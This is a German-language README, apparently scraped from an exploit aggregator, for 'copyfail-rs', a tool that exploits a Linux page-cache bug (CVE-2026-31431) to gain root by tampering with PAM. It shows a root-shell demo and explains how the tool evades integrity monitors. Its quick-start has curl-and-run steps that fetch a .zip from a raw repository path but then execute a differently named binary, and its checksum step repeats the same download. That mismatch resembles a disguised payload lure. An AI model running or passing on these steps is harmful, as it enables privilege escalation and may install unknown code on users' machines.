## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LIVERWORTENURESIS371-COPYFAIL-RS
# copyfail-rs
> Multi-Vektor-PoC mit passender Erkennung für CVE-2026-31431 (CopyFail). Enthält einen neuartigen PAM-Auth-Bypass-Vektor, den kein anderer öffentlicher PoC mitliefert. Der Erkennungsmodus erfasst, was AIDE / Wazuh / OSSEC / Tripwire strukturell nicht können.
Einzelnes statisches Binary. ~108 KB. `no_std` musl.
## Demo
root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Ein Befehl. Root-Shell. PAM-Killshot unter der Haube (ein einzelner 4-Byte-Schreibvorgang in /etc/pam.d/common-auth), PTY-Drop zu Root über sudo mit weggeworfenem Passwort. Die Zeile `[sudo] password for noot:` erscheint kurz; sudo gibt diese Eingabeaufforderung immer aus; das Binary füttert sie mit einer beliebigen Zeichenkette, und der Fehler von pam_unix kaskadiert über den auskommentierten pam_deny.so zu pam_permit.so → root.
root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
Das ist das Projekt. Platte sauber, Cache mutiert. Jedes öffentliche FIM ist blind. Dieses Tool nicht.
## Schnellstart (kein Build nötig)
Vorgefertigte statische Binaries im v0.1.0-Release. Architektur wählen, herunterladen, ausführen.
root@kitploit:~
# x86_64 (die meisten Laptops + Cloud-Server)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Andere Architekturen:
Architektur| Datei
---|---
ARM64 (aarch64)| `copyfail-aarch64-musl`
ARMv7 (Raspberry Pi 3+)| `copyfail-armv7-musleabihf`
Integrität prüfen:
root@kitploit:~
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
Statische musl-Binaries, keine Laufzeitabhängigkeiten, läuft auf jedem Linux.
## Warum FIM blind ist
Page-Cache-Mutation. Kein VFS-Write. Keine Dirty Page. Kein inotify-Event. Periodischer Rescan konkurriert mit der Verdrängung.
AIDE/Wazuh/OSSEC/Tripwire/Samhain lesen über gepuffertes I/O → Page-Cache → hashen mutierte Bytes als Wahrheit. Oder nach der Verdrängung den sauberen Datenträger hashen → "nie eine Änderung passiert."
Für die Erkennung sind O_DIRECT (Cache überspringen) + gepuffertes Lesen (Cache treffen) + Hash-Diff erforderlich. Abweichung = CopyFail-Signatur. Das ist `--scan`.
## Vektoren
Automatische Auswahl: `--vector auto` (Standard). Reiht pam > su > passwd nach Tarnung. Fallback bei Fehler.
## Erkennung
`--json` überall für die SIEM-Aufnahme.
## Erkennungsartefakte
`detection/`:
* `sigma/copyfail-af-alg.yml`, Sigma-Regel, einfügen in dein SIEM
* `auditd/copyfail.rules`, `augenrules --load`
* `ebpf/copyfail-trace.bt`, bpftrace-Einzeiler
* `apparmor/copyfail-block.profile`, AppArmor-3.0+-Verweigerungsregel
* `mitigation/disable-algif.sh`, modprobe-Blacklist + `=y`-Warnung
## Mitigation
root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Oder Kernel-Mainline `a664bf3d603d` (April 2026). Stand jetzt: nur Debian Sid/Forky ausgeliefert. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = alle angreifbar.
Achtung: `CONFIG_CRYPTO_USER_API_AEAD=y` (fest eingebaut) umgeht modprobe stillschweigend. `--check` warnt.
Nach Exploit + Mitigation bleibt die Cache-Mutation bis zum Neustart bestehen. Die Mitigation blockiert NEUE Exploits, macht vergangene nicht rückgängig.
## Kompilieren
root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
Ziel| Größe
---|---
x86_64-musl| 108 KB
aarch64-musl| 96 KB
armv7-musleabihf| 86 KB
`no_std`. Kein Allokator. Keine Laufzeitabhängigkeiten. Ein einziges statisches Binary.
Vorgefertigte Artefakte und SHA256-Summen sind den GitHub-Releases beigefügt.
## Verwendung
Konkrete einseitige Beispiele pro Modus (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt) findest du in `docs/usage.md`.
Eine ausführlichere, narrative Version dieser README (mehr Kontext, tiefere Darstellung) findest du in `BLOG.md`.
## Bedrohungsmodell
Siehe `docs/threat-model.md`.
## Vergleich
## Autorisierung & Ethik
Nur eigene Hardware. Kein CLI-Gate (Sicherheitstheater). README + LICENSE = der Rahmen.
Der Erkennungsmodus ist schreibgeschützt. Sicher für die Produktion.
Der Exploit-Modus mutiert den Kernel-Page-Cache. Nur RAM, aber als destruktiv behandeln. Blockiert die Authentifizierung für jeden nachfolgenden Aufrufer.
## Credits
CVE-2026-31431 wurde von Theori / Xint am 2026-04-29 veröffentlicht (Write-up, Xint-Blog). Bisherige öffentliche PoCs:
* theori-io/copy-fail-CVE-2026-31431 (Python, 732 Bytes, su-Vektor)
* tgies/copy-fail-c (C mit nolibc, su- + passwd-Vektoren, portabel)
* badsectorlabs/copyfail-go (statisches Go-Binary, su-Vektor)
Dieses Projekt (`copyfail-rs`): fügt den PAM-Auth-Bypass-Vektor, die Erkennung mit zwei Modi und IR-Artefakte hinzu.
## Lizenz
MIT.
## Referenzen
* https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
* Linux-Fix: `a664bf3d603d`
* Basis: `72548b093ee3` (4.14, Aug. 2017)
* Analog: Dirty Pipe (CVE-2022-0847)